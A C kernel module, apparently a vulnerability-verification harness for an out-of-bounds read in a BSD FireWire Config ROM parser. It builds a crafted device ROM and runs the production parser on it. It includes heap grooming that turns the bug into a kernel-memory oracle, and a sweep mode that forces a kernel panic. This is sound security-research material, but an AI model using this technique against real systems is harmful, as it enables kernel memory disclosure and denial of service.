/*
 * DF-5497 verification harness (KLD, production code).
 *
 * Finding: crom_next() derives a nested-directory pointer from the
 * unvalidated 24-bit entry value
 *
 *	sys/bus/firewire/fwcrom.c:122
 *		ptr->dir = (struct csrdirectory *) (reg + reg->val);
 *
 * and dereferences it
 *
 *	sys/bus/firewire/fwcrom.c:130
 *		if (ptr->index < ptr->dir->crc_len && ...
 *	sys/bus/firewire/fwcrom.c:134
 *		if (ptr->index < ptr->dir->crc_len)
 *
 * BEFORE any bounds check.  reg->val is u_int32_t:24 (iec13213.h:124-132),
 * i.e. 0..0xffffff quadlets => the kernel reads 4 bytes at
 * ROMbase + up to +64 MB, chosen by the peer device.  The CROM_END
 * comparison on the following operand of the && would have rejected the
 * directory -- but it runs after the faulting load.
 *
 * Production trigger chain (statically verified, path:line):
 *   FireWire bus reset -> fw_bus_explore() reads the peer Config ROM
 *     quadlet by quadlet into fwdev->csrrom[CSRROMSIZE/4] (firewire.c:1500,
 *     firewirereg.h:52-54 -- 1024-byte buffer, contents 100% device data)
 *   sbp(4) attach/probe on every fwdev:
 *     sbp.c:412 / sbp.c:468 / sbp.c:567 / sbp.c:602
 *       crom_init_context(&cc, target->fwdev->csrrom)
 *     sbp.c:416 / sbp.c:472 / sbp.c:568 / sbp.c:604-619
 *       crom_search_key(&cc, ...)  -- crom_next() walk
 *     A peer ROM whose root (or any) directory holds a CSRTYPE_D entry
 *     (0xc0-0xff keys -- every real unit directory, key 0xd1, qualifies)
 *     with val = V makes the kernel load 4 bytes at
 *     csrrom + 24 + 4*V, V up to 0xffffff (+64 MB).
 *
 * The guest has no FireWire controller (hardware-gated finding), so the
 * harness models exactly the buffer the production code is invoked on --
 * kmalloc'd 1024-byte csrrom stand-in, device-controlled contents -- and
 * drives the PRODUCTION crom_init_context()/crom_next() compiled into
 * this module via #include (fwcrom.c symbols renamed with -D in the
 * Makefile so they do not collide with the copy in the guest kernel).
 *
 * Modes (sysctl kern.df5497_mode, fire with kern.df5497_fire=1):
 *   1 = oracle : 5 descents to +1.2 KB .. +64 KB past the buffer.
 *       Kernel heap there is mapped, so no fault: instead each descent
 *       prints "crom_next: bound check failed" (fwcrom.c:135) iff the
 *       foreign 16-bit crc_len word read OOB was non-zero => a 1-bit
 *       kernel-memory oracle per crafted val, on the production console
 *       path.
 *   2 = sweep  : 16 descents, +4 MB .. +64 MB past the buffer in 4 MB
 *       steps.  The kmem heap arena is far smaller than 64 MB, so a step
 *       lands in unmapped kernel_map space: Fatal trap 12 in crom_next
 *       (expect panic; mapped steps print the oracle line first).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/types.h>

/* PRODUCTION parser: sys/bus/firewire/fwcrom.c, unmodified.
 * Globals renamed by -D in the Makefile (dfh_*). */
#include <bus/firewire/fwcrom.c>

static int	df5497_mode = 1;
static int	df5497_fire = 0;

SYSCTL_INT(_kern, OID_AUTO, df5497_mode, CTLFLAG_RW, &df5497_mode, 0,
    "harness case: 1=oracle (+KB offsets), 2=panic sweep (+MB offsets)");

#define	ROMQUADS	(1024 / 4)	/* 256 quads, as fwdev->csrrom[] */

static int
df5497_run(void)
{
	struct crom_context cc;
	u_int32_t *rom, *groom[64];
	int i, n, step;

	/*
	 * Slab groom so the oracle is observable: fill 64 same-class
	 * 1024-byte blocks with a quadlet pattern whose 16-bit crc_len
	 * field is 1 (non-zero), free every other block in the middle of
	 * the array, then allocate the model ROM -- it reuses one of the
	 * holes, surrounded by patterned, still-mapped neighbours.  Every
	 * OOB crc_len load that lands on a neighbour now reads 1 and the
	 * production "crom_next: bound check failed" line fires (an
	 * observable 1-bit kernel-memory oracle per crafted val).
	 */
	for (i = 0; i < 64; i++) {
		groom[i] = kmalloc(1024, M_TEMP, M_WAITOK);
		for (n = 0; n < 256; n++)
			groom[i][n] = 1 << 16;	/* crc_len = 1 */
	}
	for (i = 8; i < 56; i += 2) {
		kfree(groom[i], M_TEMP);
		groom[i] = NULL;
	}

	rom = kmalloc(1024, M_TEMP, M_WAITOK | M_ZERO);
	if (rom == NULL)
		return (ENOMEM);

	/* Device-controlled contents, laid out for crom_init_context():
	 *   Q0  : csrhdr { info_len = 4 }          (LE: 4 << 24)
	 *   Q1-4: bus_info block (don't care)
	 *   Q5  : root dir header { crc_len = n }  (LE: n << 16)
	 *   Q6-: root entries { key = 0xd1 (CSRTYPE_D|CSRKEY_UNIT), val = V }
	 *        LE csrreg: val in bits 0..23, key in bits 24..31.
	 */
	rom[0] = 4 << 24;

	if (df5497_mode == 1) {
		static const int vals[5] = { 300, 400, 1000, 2048, 4096 };
		n = 5;
		rom[5] = n << 16;
		for (i = 0; i < n; i++)
			rom[6 + i] = (0xd1u << 24) | (vals[i] & 0xffffff);
		kprintf("DF5497 mode1: 5 descents at +%d..+%d bytes past the "
		    "1024-byte ROM, slab groomed with crc_len=1 pattern: "
		    "expect 'crom_next: bound check failed' oracle lines, "
		    "no fault\n",
		    24 + 4 * vals[0], 24 + 4 * vals[n - 1]);
	} else {
		n = 16;
		step = 0x100000;	/* quadlets: +4 MB per step */
		rom[5] = n << 16;
		for (i = 0; i < n; i++)
			rom[6 + i] = (0xd1u << 24) |
			    (((i + 1) * step) & 0xffffff);
		kprintf("DF5497 mode2: 16 descents at +4 MB..+64 MB past the "
		    "ROM in 4 MB steps: expect oracle lines then Fatal trap 12 "
		    "in dfh_crom_next (unmapped kernel_map page)\n");
	}

	/* Production walk, exactly as sbp.c:412-425 drives it. */
	dfh_crom_init_context(&cc, rom);
	i = 0;
	while (cc.depth >= 0) {
		dfh_crom_next(&cc);
		i++;
	}
	kfree(rom, M_TEMP);
	for (i = 0; i < 64; i++)
		if (groom[i] != NULL)
			kfree(groom[i], M_TEMP);
	kprintf("DF5497 mode%d: walk finished after %d crom_next() calls, "
	    "depth=%d -- UNEXPECTEDLY no fault (all probe offsets mapped)\n",
	    df5497_mode, i, cc.depth);
	return (0);
}

static int
df5497_sysctl_fire(SYSCTL_HANDLER_ARGS)
{
	int error, val = df5497_fire;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 1)
		df5497_run();
	df5497_fire = val;
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df5497_fire,
    CTLTYPE_INT | CTLFLAG_RW, 0, 0, df5497_sysctl_fire, "I",
    "write 1 to fire the current df5497 case");

static int
df5497_modeh(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("DF5497 harness loaded (production fwcrom.c)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df5497_mod = { "df5497", df5497_modeh, 0 };
DECLARE_MODULE(df5497, df5497_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
